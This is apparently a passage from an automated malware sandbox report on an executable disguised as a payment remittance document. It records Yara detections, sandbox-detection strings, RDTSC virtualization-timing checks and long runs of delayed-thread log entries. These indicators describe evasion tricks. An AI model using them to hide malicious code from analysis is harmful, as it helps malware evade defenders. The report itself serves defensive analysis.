Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe PID: 3176, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	RDTSC instruction interceptor: First address: 0000000000408604 second address: 000000000040860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	RDTSC instruction interceptor: First address: 000000000040899E second address: 00000000004089A4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\raserver.exe	RDTSC instruction interceptor: First address: 0000000000708604 second address: 000000000070860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\raserver.exe	RDTSC instruction interceptor: First address: 000000000070899E second address: 00000000007089A4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -239859s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -239749s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -239640s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -239531s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -239422s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -239311s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -239202s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -239063s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -238953s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -238781s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -238656s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -238531s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -238422s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -238309s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -238156s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -238046s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -237921s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -237812s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -237687s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -237578s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -237469s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -237344s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -237203s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -237047s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -236921s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -236797s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -236672s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -236547s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -236422s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -236297s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -236172s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -236063s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -235906s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -235797s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -235672s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -235563s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -235407s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -235296s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -235172s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -235047s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -234906s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -234765s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -234655s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -234547s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -234437s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -234328s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -234219s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -234047s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -233922s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -233796s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 1364	Thread sleep time: -43239s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -233672s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -233546s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -233437s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -233297s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -233187s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -233078s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -232953s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -232844s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -232703s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -232594s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -232484s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 3340	Thread sleep time: -232375s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 908	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe TID: 1124	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\raserver.exe TID: 6088	Thread sleep time: -36000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\raserver.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Code function: 5_2_004088D0 rdtsc

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 240000
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239859
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239749
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239640
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239531
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239422
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239311
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239202
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239063
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238953
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238781
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238656
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238531
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238422
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238309
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238156
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238046
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237921
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237812
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237687
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237578
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237469
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237344
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237203
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237047
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236921
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236797
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236672
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236547
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236422
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236297
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236172
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236063
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235906
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235797
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235672
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235563
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235407
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235296
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235172
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235047
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234906
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234765
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234655
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234547
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234437
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234328
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234219
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234047
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233922
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233796
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233672
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233546
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233437
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233297
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233187
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233078
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232953
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232844
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232703
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232594
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232484
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232375
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Window / User API: threadDelayed 6984
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Window / User API: threadDelayed 974

Source: C:\Windows\SysWOW64\raserver.exe

API coverage: 8.5 %

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 240000
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239859
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239749
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239640
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239531
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239422
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239311
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239202
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 239063
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238953
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238781
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238656
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238531
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238422
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238309
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238156
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 238046
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237921
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237812
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237687
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237578
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237469
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237344
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237203
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 237047
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236921
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236797
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236672
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236547
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236422
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236297
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236172
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 236063
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235906
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235797
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235672
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235563
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235407
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235296
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235172
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 235047
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234906
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234765
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234655
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234547
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234437
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234328
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234219
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 234047
